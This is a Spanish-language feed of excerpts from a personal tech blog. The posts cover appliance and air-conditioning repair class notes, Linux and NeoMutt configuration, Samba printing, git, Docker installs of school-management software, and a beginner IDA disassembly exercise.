Tenemos por ejemplo los piso techo.
4000/5000/6000 frigorias
Centralizados vienen de menos frigoria pero centralizado
el sistema frigorifico es el mismo para todos los sistemas de aire acondicionado si yo voy a un auto, también actua un sistema de motocompresión pero por medio de correa.
El compresor se acciona por medio de una correa y esa correa va a hacer que compriman el refrigerante por un lado y absorva el refrigerante por el otro.
Si yo voy a a un avión también tiene un sistmea de motocompresion que calefacione o enfrie depediendo del uso.
Cualquier sistema de refrigeracion nos vamos a basar en el metodo de compresion ese método de compresion yo lo tengo que conocer como el padre nuestro.
Nos va a ayudar a ayudar a mi para identificar cualquier tipo de inconveniente que tenga el aire acondicionado.</p>
-
[AUDIO][APUNTE] Taller reparacion electrodomesticos (Clase 2) - Ventiladores: líquido para hidráulico Armado de una serie. Monofásica, Trifásica, Bobinado. Por regla general: no poner en marcha nada. Reparamos: Jarra electrica.
https://imlauera.github.io/post/taller_reparacion_electrodomesticos2/
Sat, 13 Jul 2024 07:36:36 -0300
https://imlauera.github.io/post/taller_reparacion_electrodomesticos2/
<h2 id="audio-de-la-clase">Audio de la clase:</h2>
<p><a href="https://www.youtube.com/watch?v=3nJnAqAZQpY">https://www.youtube.com/watch?v=3nJnAqAZQpY</a></p>
<p><a href="https://vocaroo.com/1jjk6YDCw6js">https://vocaroo.com/1jjk6YDCw6js</a></p>
<p>O miralo desde una instancia de invidious <a href="https://redirect.invidious.io/watch?v=3nJnAqAZQpY">https://redirect.invidious.io/watch?v=3nJnAqAZQpY</a></p>
<p><img src="https://imlauera.github.io/img/2da_clase.jpg" alt="/img/2da_clase.jpg"></p>
<p><img src="https://imlauera.github.io/img/2da_clase1.jpg" alt="/img/2da_clase1.jpg"></p>
<p>El ventilador calienta porque el motor está frenado y está trabajando exigido entonces necesita más potencia para hacer ese trabajo, y si hablo de potencia varia el amperage. Y puede ser porque el rotor no está perfectamente centrado en el estator, y en el estator debe haber una película de luz en donde el campo magnético de la bobina debe influir en el hierro del rotor para que gire en forma conveniente y no está bien centrado, por lo general suelen traer 4 paramos algunos de los esparragos se aflojó o no calzó bien, hay motores en donde por medio de sondas se puede centrar perfectamente el rotor en el estator hasta que se apreten todos los esparragos (tornillos )(minuto 19:30)</p>
-
Leer correos desde la terminal: Neomutt y mutt-wizard
https://imlauera.github.io/post/neomutt/
Wed, 10 Jul 2024 03:12:27 -0300
https://imlauera.github.io/post/neomutt/
<p>NeoMutt por defecto usa <code>POP</code> es decir que descarga todo tu correo a tu disco duro, si queres que tu correo no se descargue y quede en el servidor tenes que usar <code>IMAP</code>.</p>
<p>Para usar IMAP en NeoMutt y evitar que descargue todos tus correos como hace POP, solo tienes que configurar tu archivo de configuración (~/.neomuttrc o similar) con tu servidor IMAP. Ejemplo básico:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>set folder <span style="color:#f92672">=</span> <span style="color:#e6db74">"imaps://[email protected]/"</span>
</span></span><span style="display:flex;"><span>set spoolfile <span style="color:#f92672">=</span> <span style="color:#e6db74">"+INBOX"</span>
</span></span><span style="display:flex;"><span>set imap_user <span style="color:#f92672">=</span> <span style="color:#e6db74">"usuario"</span>
</span></span><span style="display:flex;"><span>set imap_pass <span style="color:#f92672">=</span> <span style="color:#e6db74">"tu_contraseña"</span>
</span></span></code></pre></div><p>Así NeoMutt solo sincroniza los correos y carpetas que ves, <strong>sin descargarlos todos localmente.</strong></p>
-
No necesitas usar el navegador Tor
https://imlauera.github.io/post/no_necesitas_usar_el_navegador_tor/
Tue, 09 Jul 2024 14:25:43 -0300
https://imlauera.github.io/post/no_necesitas_usar_el_navegador_tor/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install -y tor
</span></span><span style="display:flex;"><span>tor
</span></span><span style="display:flex;"><span>chromium --proxy-server<span style="color:#f92672">=</span><span style="color:#e6db74">"socks://127.0.0.1:9050"</span>
</span></span></code></pre></div>
-
[APUNTE] Taller reparacion electrodomesticos (Clase 1) - Introducción corriente alterna, continua, bobinas: fuera de ciclo, batería auto, núcleos.
https://imlauera.github.io/post/taller_reparacion_electrodomesticos/
Mon, 08 Jul 2024 09:49:21 -0300
https://imlauera.github.io/post/taller_reparacion_electrodomesticos/
<p>Profesor: Marcelo Barrios</p>
<p>Watts=Potencia
Potencia = vatio
Voltios=Energía
Tension = voltaje
Amper=Intensidad
Tensión en amperage</p>
<p>Fuente–Carga</p>
<p>Las placas de un transformador son un montón de letras E y una recta: E I 3 entre las dos “E” va una bobina.</p>
<p>El amper son partículas: eléctrones
Voltaje es campo de energía</p>
<p>Toda la materia tiene átomo: Más electrones libres mejor conductor<br>
<strong>Vac</strong> - Fase neutro<br>
<strong>Vdc</strong> - + y -</p>
<p>En corriente alterna no hay positivo: en un medio ciclo positivo en otro negativo:</p>
-
[AUDIO][APUNTE] Taller de instalación y reparación de aires acondicionados (Clase 1) - Refrigeración. Amoníaco. Problemas comunes. Foto apunte Amoníaco. (Total 27 clases)
https://imlauera.github.io/post/1era_clase_reparacion_aires_acondicionados/
Mon, 08 Jul 2024 09:31:48 -0300
https://imlauera.github.io/post/1era_clase_reparacion_aires_acondicionados/
<h3 id="audio-de-la-clase">Audio de la clase</h3>
<p><a href="https://www.youtube.com/watch?v=Sam73a2KcrQ">https://www.youtube.com/watch?v=Sam73a2KcrQ</a></p>
<p>O miralo en una instancia de invidious: <a href="https://redirect.invidious.io/watch?v=Sam73a2KcrQ">https://redirect.invidious.io/watch?v=Sam73a2KcrQ</a></p>
<p>1er clase de reparación e instalación<br>
Es un curso práctico<br>
Quemamos la placa compresor errores comunes<br>
Daniel Marcos clases de aire acondicionado<br>
Van a ver clases que no serán ahí<br>
Formameros un grupo<br>
En ese grupo pondrán donde haremos la reparación<br>
Hay clases donde ponemos un compresor<br>
Hay clases de trabajo<br>
Agarraremos la.mejor parte<br>
La semana que viene la clase será a las 9<br>
La clase dura 2 horas<br>
A partir de agosto todas las cuentas<br>
A partir del 11 tieenn recargo del 10÷<br>
Los días que no tenemos clases son el 12 del 10 el 27 del 10<br>
Finalizamos el primero de enero<br>
17/10 - 28/12 - 04/01 12-10<br>
No habrán clases<br>
Tenemos dos exámenes<br>
Cada uno es independiente del otro</p>
-
Instalar impresora compartida de Windows en GNU/Linux
https://imlauera.github.io/post/instalar_impresora_compartida_de_windows_en_linux/
Mon, 08 Jul 2024 07:01:37 -0300
https://imlauera.github.io/post/instalar_impresora_compartida_de_windows_en_linux/
<p>Para que todo esto funcione tenés que compartir la impresora con contraseña.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>smbclient <span style="color:#e6db74">"//192.168.0.203/HP PSC 1400 series"</span>
</span></span><span style="display:flex;"><span>sudo apt install -y cups
</span></span><span style="display:flex;"><span>sudo apt install -y hplip hplip-gui printer-driver-hpcups
</span></span><span style="display:flex;"><span>chattr +i /etc/cups/printers.conf
</span></span><span style="display:flex;"><span>sudo vim /etc/cups/printers.conf
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>smbclient <span style="color:#e6db74">"//LIVING/HPPSC1400series"</span> -U <span style="color:#e6db74">"WORKGROUP\Usuario"</span> -c <span style="color:#e6db74">"print hola"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sudo cups
</span></span><span style="display:flex;"><span>netstat -plnt
</span></span><span style="display:flex;"><span>http://127.0.0.1:631/printers/?
</span></span><span style="display:flex;"><span>https://github.com/kentio/hp-ppd
</span></span></code></pre></div><p>Si no tiene contraseña tenes que cambiar en Windows en el regedit BlankPassswords un registro así que ya no recuerdo</p>
<h3 id="lpr">LPR</h3>
<p><a href="https://old.reddit.com/r/learnpython/comments/124ws9d/printing_from_python_linux_to_shared_printer/">https://old.reddit.com/r/learnpython/comments/124ws9d/printing_from_python_linux_to_shared_printer/</a></p>
<p><a href="https://forums.linuxmint.com/viewtopic.php?t=378584">https://forums.linuxmint.com/viewtopic.php?t=378584</a></p>
-
Comandos git
https://imlauera.github.io/post/comandos_git/
Sat, 06 Jul 2024 11:18:47 -0300
https://imlauera.github.io/post/comandos_git/
<h2 id="comandos-comunes-de-la-cli-de-git">COMANDOS COMUNES DE LA CLI DE GIT:</h2>
<p><strong><code>git --version</code></strong> Muestra la version de git instalada.</p>
<h3 id="git-add">GIT ADD</h3>
<p><strong><code>git add .</code></strong> Agrega los cambios de todos los archivos al area de preparacion (antes del commit).</p>
<p><strong><code>git add -A</code></strong> (Otra opción) Genera el mismo efecto que <strong><code>git add .</code></strong>, la <strong>-A</strong> significa <strong>–all</strong>.</p>
<h3 id="git-blame">GIT BLAME</h3>
<p><strong><code>git blame -c blogpost.html</code></strong> Muestra quien ha hecho cambios en dicho archivo, indentado.</p>
<p><strong><code>git blame --help</code></strong> Muestra en el navegador el uso del comando (en este caso blame).</p>
-
Como configurar tu proyecto HUGO en una nueva PC
https://imlauera.github.io/post/how_to_setup_hugo/
Sat, 06 Jul 2024 11:17:21 -0300
https://imlauera.github.io/post/how_to_setup_hugo/
<p>Lo más importante es no pushear imágenes porque quedan en el historial.</p>
<p>Themes de hugo: <a href="https://demo.gethugothemes.com/">https://demo.gethugothemes.com/</a></p>
<p>Es recomendable tener 3 repositorios.</p>
<p>1 fork del hugo theme que vayas a usar, 1 repositorio para la pagina (tunombre.github.io) que lo vas a alojar en la carpeta <code>public</code> y otro repositorio base que debería ser privado en mi opinión.</p>
<p>Clono el repositorio usando SSH.<br>
Clono usando <code>--recurse-submodules -j8</code></p>
<p><strong>Si hacés esto clonás public</strong> cuando no es necesario clonarlo, ¿quizás hay que poner public dentro de .gitignore?</p>
-
Sistema de gestión escolar GRATUITO: RosarioSIS. Instalacion y configuración.
https://imlauera.github.io/post/rosariosis-instalacion/
Fri, 28 Jun 2024 08:29:38 -0300
https://imlauera.github.io/post/rosariosis-instalacion/
<p>Instalamos y configuramos docker.</p>
<p>Luego clonamos este repo
<a href="https://github.com/francoisjacquet/docker-rosariosis">https://github.com/francoisjacquet/docker-rosariosis</a></p>
<p>Y ejecutamos:
<code>docker build -t rosariosis .</code></p>
<p>Y luego:
<code>docker compose up</code></p>
-
Reversing: IDA Free
https://imlauera.github.io/post/reversing_ida_pro_free/
Thu, 27 Jun 2024 21:22:58 -0300
https://imlauera.github.io/post/reversing_ida_pro_free/
<p>Lo más importante es entender C,ASM y el concepto básico de un buffer overflow.</p>
<p>Ayer estaba jugando un poco con IDA PRO aprendiendo un poco de ASM.
<a href="https://hex-rays.com/ida-free/">https://hex-rays.com/ida-free/</a></p>
<p>Analicemos el siguiente código</p>
<h4 id="c">C:</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Este es el código que nos genera el IDA:</p>
<h4 id="asm">ASM:</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span><span style="color:#75715e">; Attributes: bp-based frame
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">; int __cdecl main(int argc, const char **argv, const char **envp)
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">public</span> <span style="color:#66d9ef">main</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">main</span> <span style="color:#66d9ef">proc</span> <span style="color:#66d9ef">near</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">; __unwind {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">push</span> <span style="color:#66d9ef">rbp</span> <span style="color:#75715e">; Almacenar el registro RBP en la pila
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">mov</span> <span style="color:#66d9ef">rbp</span>, <span style="color:#66d9ef">rsp</span> <span style="color:#75715e">; Asigna a RBP el valor del registro apuntador RSP
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">mov</span> <span style="color:#66d9ef">eax</span>, <span style="color:#ae81ff">0</span><span style="color:#66d9ef">FFFFFFFFh</span> <span style="color:#75715e">; Mueve el -1 (escrito hexadecimal) al registro acumulador (eax).
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">pop</span> <span style="color:#66d9ef">rbp</span> <span style="color:#75715e">; Restauramos el valor inicial de RBP.
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">retn</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">; } // starts at 1129
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">main</span> <span style="color:#66d9ef">endp</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">_text</span> <span style="color:#66d9ef">ends</span>
</span></span></code></pre></div><h5 id="siguiente-código">Siguiente código:</h5>
<h4 id="c-1">C:</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> a <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> a<span style="color:#f92672">=</span>a<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>El IDA nos genera:</p>
-
Kimkelen: sistema de gestion escolar GRATUITO
https://imlauera.github.io/post/kimkelen_sistema_de_gestion_escolar/
Tue, 25 Jun 2024 23:45:45 -0300
https://imlauera.github.io/post/kimkelen_sistema_de_gestion_escolar/
<p>Si estás buscando un sistema de gestión escolar gratis Argentino. Esta es una de las mejores opciones.</p>
<p><a href="https://github.com/desarrollo-cespi/kimkelen">https://github.com/desarrollo-cespi/kimkelen</a></p>
<p>Existen otros sitemas como RosarioSIS, pero aún no la he probado profesionalmente, Kimkelen sí aunque tiene algunos problemas funciona bastante bien.</p>
<p>Funcionalidades que faltan implementar:
· Equivalencias.</p>
<hr>
<h3 id="como-instalarlo-y-configurarlo">Como instalarlo y configurarlo:</h3>
<p>Instalá docker, agregá tu usuario como parte de ese grupo y deslogueate y volvé a ingresar:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pacman -S docker docker-compose
</span></span><span style="display:flex;"><span>sudo systemctl start docker.service
</span></span><span style="display:flex;"><span>sudo usermod -aG docker $USER
</span></span></code></pre></div><p>Seguí este readme: <a href="https://github.com/desarrollo-cespi/kimkelen">https://github.com/desarrollo-cespi/kimkelen</a></p>
-
El nuevo Ares: qBittorrent y Jackett
https://imlauera.github.io/post/el_nuevo_ares/
Thu, 13 Jun 2024 23:25:49 -0300
https://imlauera.github.io/post/el_nuevo_ares/
<p>Instalá qBittorent: <code>sudo apt install -y qbittorrent</code>
Abrí qbittorrent, view -> search engine.
Ahora movete a la pestaña Search y abajo a la derecha dale a search plugins -> install a new one -> web link y pegá: <a href="https://raw.githubusercontent.com/qbittorrent/search-plugins/master/nova3/engines/jackett.py">https://raw.githubusercontent.com/qbittorrent/search-plugins/master/nova3/engines/jackett.py</a></p>
<p>Luego andá a <code>~/.local/share/qBittorrent/nova3/engines/</code> o seguí este tutorial: <a href="https://github.com/qbittorrent/search-plugins/wiki/How-to-configure-Jackett-plugin">https://github.com/qbittorrent/search-plugins/wiki/How-to-configure-Jackett-plugin</a></p>
<h4 id="creá-un-archivo-llamado-jackettjson">creá un archivo llamado jackett.json</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">"api_key"</span>: <span style="color:#e6db74">"YOUR_API_KEY_HERE"</span>,
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">"url"</span>: <span style="color:#e6db74">"http://127.0.0.1:9117"</span>,
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">"tracker_first"</span>: false,
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">"thread_count"</span>: <span style="color:#ae81ff">20</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>La API key lo copias de https://localhost:9117</p>
<p>Abrí Jackett y agregá todos los indexers publicos seleccionando uno por uno el checkbox de la izquierda.</p>
-
Introduccion a la logica cableada
https://imlauera.github.io/post/introduccion_a_la_logica_cableada/
Wed, 12 Jun 2024 22:47:06 -0300
https://imlauera.github.io/post/introduccion_a_la_logica_cableada/
<h3 id="sistema-de-control-convecional">Sistema de control convecional</h3>
<p>Se dice que un sistema usa un control convecional, cuando los componentes que integran el control (lógica) están constituidos por dispositivos que cumplen cada uno su función y por lo general cableados, además, datan de hace muchos años.</p>
<p>Entradas</p>
<ol>
<li>Pulsador marcha</li>
<li>Pulsador paro</li>
<li>Interruptor de posicion</li>
</ol>
<p>Lógica</p>
<ol>
<li>Temporizadores</li>
<li>Contadores</li>
<li>Relés</li>
</ol>
<p>Salidas</p>
<ol>
<li>Contactor de fuerza</li>
<li>Lámparas</li>
<li>Display</li>
</ol>
-
Tableros Eléctricos
https://imlauera.github.io/post/tableros_electricos/
Wed, 12 Jun 2024 21:14:40 -0300
https://imlauera.github.io/post/tableros_electricos/
<p>Tenemos un circuito 3 líneas trifasicas y además un circuito como son los circuitos industriales.
Dentro de este circuito encontraremos</p>
<ol>
<li>Interruptor termomagnético tmb conocido como diyuntor, combina dos tipos de proteccion termica y magnetica.</li>
<li>Llave diferencial: dispositivo de seguridad electrica que detecta si existe una fuga de corriente y proteger de descargas electricas.</li>
<li>Transformador: puede elevar o reducir el voltaje, es un dispositivo escencial para la distribucion de la energia electrica, te permite adaptar el voltaje y reduce las perdidas de energia en larga distancia.</li>
<li>Diferencial: Es un dispositivo de proteccion electrica que detecta desequilibros entre la corriente entrante y la saliente en ambos conectores evitando corriente de fuga y desconectado el circuito si se detecta diferencias.</li>
<li>Interruptor Termomagnétivo proteccion: electrica al detectar sobre carga y cortocircuito o tambien puede ser utilizado en la parte de control.
El circuito está dividido en la parte fuerza y control.</li>
<li>Circuito de distribución: arranque mediante pulsador y parada temporarizada.</li>
</ol>
<p>Circuito de fuerza:</p>
-
Buscar copiar ordenar concatenar varios archivos
https://imlauera.github.io/post/buscar_copiar_ordenar_concatenar_varios_archivos/
Tue, 11 Jun 2024 14:07:54 -0300
https://imlauera.github.io/post/buscar_copiar_ordenar_concatenar_varios_archivos/
<h4 id="copiar-todos-los-archivos-a-un-directorio">Copiar todos los archivos a un directorio</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>find . -name *.vtt -print0 -exec cp <span style="color:#f92672">{}</span> ./subs/ <span style="color:#ae81ff">\;</span>
</span></span></code></pre></div><h4 id="ordenarlos-concatenarlos-y-guardarlos-con-el-titulo-de-cada-archivo">Ordenarlos, concatenarlos y guardarlos con el titulo de cada archivo.</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ls | sort -V | tail -n +1 * > wow.txt
</span></span></code></pre></div><h4 id="ejemplo">Ejemplo</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>tail -n +1 file1.txt file2.txt file3.txt
</span></span><span style="display:flex;"><span><span style="color:#f92672">==</span>> file1.txt <<span style="color:#f92672">==</span>
</span></span></code></pre></div>
-
Distros y sistemas operativos que usé y me gustan
https://imlauera.github.io/post/distros_que_me_gustan/
Fri, 15 Dec 2023 20:36:07 -0300
https://imlauera.github.io/post/distros_que_me_gustan/
<p>Linux: <a href="https://antixlinux.com/">AntiX</a>, <a href="https://www.devuan.org/get-devuan">Devuan</a> (Debian sin SystemD), <a href="https://www.debian.org/distrib/">Debian</a>, <a href="https://artixlinux.org/download.php">Artix</a> (ArchLinux sin SystemD), <a href="https://voidlinux.org/download/">Void Linux</a>, <a href="https://www.alpinelinux.org/">Alpine Linux</a>, <a href="https://imlauera.is-a.dev/post/instalacion_arch_basica/">ArchLinux</a><br>
Para divertirse: <a href="https://imlauera.is-a.dev/post/gentoo_installation/">Gentoo</a> Linux</p>
<hr>
<p>Sistemas Operativos BSD: <a href="https://www.openbsd.org/">OpenBSD</a>, <a href="https://imlauera.is-a.dev/post/freebsd_instalation/">FreeBSD</a></p>
-
Corrector vim ortografico
https://imlauera.github.io/post/corrector_vim_ortografico/
Wed, 13 Dec 2023 18:57:14 -0300
https://imlauera.github.io/post/corrector_vim_ortografico/
<p><a href="https://archive.is/v4tU9">https://archive.is/v4tU9</a></p>
<p><a href="https://web.archive.org/web/20230129193216/https://atareao.es/tutorial/vim/el-corrector-ortografico-en-vim/">https://web.archive.org/web/20230129193216/https://atareao.es/tutorial/vim/el-corrector-ortografico-en-vim/</a></p>
<pre tabindex="0"><code>mkdir -p ~/.vim/spell
cd ~/.vim/spell
wget --no-check-certificate https://ftp.nluug.nl/vim/runtime/spell/es.latin1.spl
wget --no-check-certificate https://ftp.nluug.nl/vim/runtime/spell/es.latin1.sug
wget --no-check-certificate https://ftp.nluug.nl/vim/runtime/spell/es.utf-8.spl
wget --no-check-certificate https://ftp.nluug.nl/vim/runtime/spell/es.utf-8.sug
</code></pre><p>Agregá a <code>.vimrc</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>:setlocal spell spelllang<span style="color:#f92672">=</span>es
</span></span></code></pre></div>
-
Minecraft en gnu linux
https://imlauera.github.io/post/minecraft_en_linux/
Mon, 11 Dec 2023 01:03:19 -0300
https://imlauera.github.io/post/minecraft_en_linux/
<h3 id="no-uses-tlauncher-es-spyware">NO USES TLauncher es spyware</h3>
<p>Instalá <a href="https://prismlauncher.org/">Prism Launcher</a> ó <a href="https://github.com/UltimMC/Launcher">ultimMC</a> es un excelente launcher basado en instancias.
Utilizá Ely.by como skin source y el mod de cargador de skin personalizado en fabric para acceder a los skins.
Tendrás una experiencia casi 100% similar a la de tlauncher, tal vez incluso mejor.</p>
-
Cómo jugar league of legends en ArchLinux
https://imlauera.github.io/post/league_of_legends/
Fri, 08 Dec 2023 14:45:36 -0300
https://imlauera.github.io/post/league_of_legends/
<p>Primero de todo no lo recomiendo es una basura de juego y el instalador sólo me levantó a 80 grados la temperatura del procesador.</p>
<p>Se lo instalá con los siguientes comandos:
Primero instalá yay:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pacman -Syu
</span></span><span style="display:flex;"><span>sudo pacman -S --needed base-devel git
</span></span><span style="display:flex;"><span>git clone https://aur.archlinux.org/yay.git
</span></span><span style="display:flex;"><span>cd yay
</span></span><span style="display:flex;"><span>makepkg -si
</span></span><span style="display:flex;"><span><span style="color:#75715e">### Comprobar si se instaló correctamente</span>
</span></span><span style="display:flex;"><span>yay --version
</span></span></code></pre></div><p>Ahora instalá el juego:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yay -S wine-lol-bin
</span></span><span style="display:flex;"><span>yay -S leagueoflegends-git
</span></span></code></pre></div><p>Primero instalá wine-lol-bin porque si instalás leagueoflegends-git sólo te va a compilar wine-lol cuando te podés bajar el binario directamente.</p>
-
Contribuir opensource en GitHub usando pull requests
https://imlauera.github.io/post/contribuir_opensource/
Wed, 06 Dec 2023 02:40:21 -0300
https://imlauera.github.io/post/contribuir_opensource/
<ol>
<li>Forkeá el repositorio a colaborar</li>
<li>Cloná el repositorio usando ssh preferentemente.</li>
<li>Creá una branch con el comando <code>git checkout -b mi_nueva_rama</code></li>
<li>Hacé los cambios</li>
<li>Agregá los cambios, el commit y pusheá a la rama que creaste con el comando: <code>git add . && git commit -m comentario && git push</code></li>
<li>Luego accedé a tu github y dale a create a pull request.
Y listo!</li>
</ol>
-
Básico: Crear un thumbnail en GIMP
https://imlauera.github.io/post/gimp_basic_tutorial/
Mon, 04 Dec 2023 11:56:18 -0300
https://imlauera.github.io/post/gimp_basic_tutorial/
<p>Cuando abrís GIMP las barras de estado están en diferentes ventanas, si querés tenerlas todas en una ventana, abrís GIMP y en el menú principal buscá Windows -> Single Window Mode
Si accidentalmente cerraste alguna de estas barras podés recuperarlas yendo a Windows -> Recently closed docks, o andá a dockable dialogs y buscá la que habías cerrado.</p>
<p><code>Ctrl + n</code> para crear un nuevo archivo/imagen</p>
<p>Si querés crear un thumbnail para youtube dejalo en 1920x1080p
z para hacer zoom y + - para acercarse o click izquierdo y control click izquierod para alejarse</p>
-
ChatGPT
https://imlauera.github.io/post/chatgpt/
Sat, 02 Dec 2023 23:19:35 -0300
https://imlauera.github.io/post/chatgpt/
<p><a href="https://youtube.com/watch?v=q2A-MkGjvmI">https://youtube.com/watch?v=q2A-MkGjvmI</a></p>
<p><a href="https://youtube.com/watch?v=vUwQLsWjA-g">https://youtube.com/watch?v=vUwQLsWjA-g</a></p>
-
Parchear DWM
https://imlauera.github.io/post/how_to_patch_dwm/
Sat, 02 Dec 2023 16:56:28 -0300
https://imlauera.github.io/post/how_to_patch_dwm/
<p><a href="https://suckless.org/hacking/">https://suckless.org/hacking/</a></p>
<h4 id="hacking">Hacking</h4>
<h2 id="copialicencia">Copia/licencia</h2>
<p>Solo aceptamos contribuciones de individuos, no de entidades corporativas. Vea el archivo de LICENCIA del proyecto al que está contribuyendo.</p>
<h3 id="debugging">Debugging</h3>
<p>Si encuentra algún fallo, envíe un seguimiento completo a la lista de correo dedicada. Puedes crear rastros de retroceso con gdb:</p>
<p>Antes de iniciar un programa, es posible que deba permitir la creación de archivos principales. Te recomendamos que pongas esto en tu perfil:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ ulimit -c unlimited
</span></span></code></pre></div><p>Luego inicie el programa como de costumbre.</p>
-
Gentoo basic installation
https://imlauera.github.io/post/gentoo_installation/
Wed, 29 Nov 2023 08:39:16 -0300
https://imlauera.github.io/post/gentoo_installation/
<p>Siempre poné el comando <code>time</code> al inicio de emerge y usá <code>su</code> es más conveniente que escribir sudo cada vez.</p>
<p>Si queres bluetooth no te va a alcanzar con instalar
bluez bluez-tools tenes que activar las banderas de systemd
en /etc/portage/make.conf aunque diga que están explícitas
supongo.</p>
<p><strong>Actualización</strong>: Este fue mi error. Instalé bluez de la
siguiente manera.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>emerge -avG bluez y no tenía la bandera systemd activada
</span></span></code></pre></div><p>cuando lo instalé así</p>
-
Debloat and basic windows setup (activate windows)
https://imlauera.github.io/post/debloat_and_basic_windows_setup/
Sun, 26 Nov 2023 21:57:39 -0300
https://imlauera.github.io/post/debloat_and_basic_windows_setup/
<p><a href="https://open-shell.github.io/Open-Shell-Menu/">OpenShell</a></p>
<p><a href="https://ninite.com/">Ninite</a> - Instalá o actualizá varias aplicaciones de una sóla vez.</p>
<p>Instalá LibreOffice, Firefox, SumatraPDF, VLC, K-lite codecs, OpenSHELL (si no lo instalaste anteriormente), 7-zip</p>
<p>Bajá uBlock, SponsorBlock, Bypass Paywals y, Return of YouTube Dislikes.</p>
